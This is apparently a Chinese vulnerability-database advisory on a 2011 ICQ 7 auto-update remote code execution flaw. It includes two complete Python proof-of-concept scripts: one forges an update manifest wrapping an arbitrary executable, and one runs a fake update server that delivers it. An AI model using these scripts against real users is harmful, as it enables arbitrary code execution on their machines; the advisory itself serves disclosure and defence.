安全研究

安全漏洞
ICQ自动更新远程代码执行漏洞

发布日期:2011-01-13
更新日期:2011-01-17

受影响系统:
ICQ ICQ 7.2
ICQ ICQ 7
描述:
BUGTRAQ  ID: 45805

ICQ是一款流行的即时通讯聊天工具。

ICQ在更新时存在安全漏洞,远程攻击者可利用此漏洞以用户的权限执行任意代码。

ICQ 7不检查更新服务器的ID或通过其自动更新机制下载的更新的真实性。通过模拟更新服务器(例如DNS欺骗),攻击者可假装其更新服务器或在ICQ客户端下次启动时发送任意文件。因为ICQ在引导Windows时立即自动默认启动,并在每次启动时检查更新,所以很容易受到攻击。

<*来源:Daniel Seither
  *>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

#!/usr/bin/env python

# ICQ Update File Creator by Daniel Seither (post@tiwoc.de)
#
# Parameter:
# filename of .exe that should be delivered as an update for ICQ.exe
#
# Overwrites ICQ.zip and updates.xml in the current directory
# without a warning!

import sys, os
from hashlib import md5
from zipfile import ZipFile, ZIP_DEFLATED

if len(sys.argv) < 2:
    print "argument missing"
    sys.exit(1)

f = open(sys.argv[1])
payload = f.read()
f.close()

payload_checksum = md5(payload).hexdigest()
payload_size = len(payload)

f = ZipFile('ICQ.zip', 'w')
f.write(sys.argv[1], 'ICQ.exe', ZIP_DEFLATED)
f.close()
    
payload_compressed = os.path.getsize('ICQ.zip')
    
updatesfile = ('<manifest productid="30009" build="9999" serial="9">'
    + '<host url="http://update.icq.com/cb/icq6/30009/"/>'
    + '<file id="31" path="ICQ.exe" hash="%s" size="%s">'
    + '<file format="zip" size="%s" url="ICQ.zip"/>'
    + '</file></manifest>'
    ) % (payload_checksum, payload_size, payload_compressed)

updatesfile_checksum = md5(updatesfile).hexdigest()
updatesfile = '<!--%s-->\r\n%s' % (updatesfile_checksum, updatesfile)

f = open('updates.xml', 'w')
f.write(updatesfile)
f.close

=== END build_update_files.py ===

=== START run_update_server.py ===

#!/usr/bin/env python

# Fake ICQ update server by Daniel Seither (post@tiwoc.de)
#
# Must be run
#  * as root
#  * from a directory containing updates.xml and ICQ.zip
#    created by build_updates_xml.py

from BaseHTTPServer import HTTPServer, BaseHTTPRequestHandler

class ICQRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/cb/icq6/30009/0/updates.xml':
            self._respond_with_file('updates.xml')
        elif self.path == '/cb/icq6/30009/ICQ.zip':
            self._respond_with_file('ICQ.zip')
        else:
            self.send_error(404)
            
    def _respond_with_file(self, filename):
            f = open(filename)
            self.send_response(200)
            self.end_headers()
            self.wfile.write(f.read())
            f.close()        

httpd = HTTPServer(('', 80), ICQRequestHandler)
httpd.serve_forever()

建议:
厂商补丁:

ICQ
---
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.icq.com/

浏览次数:2341
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障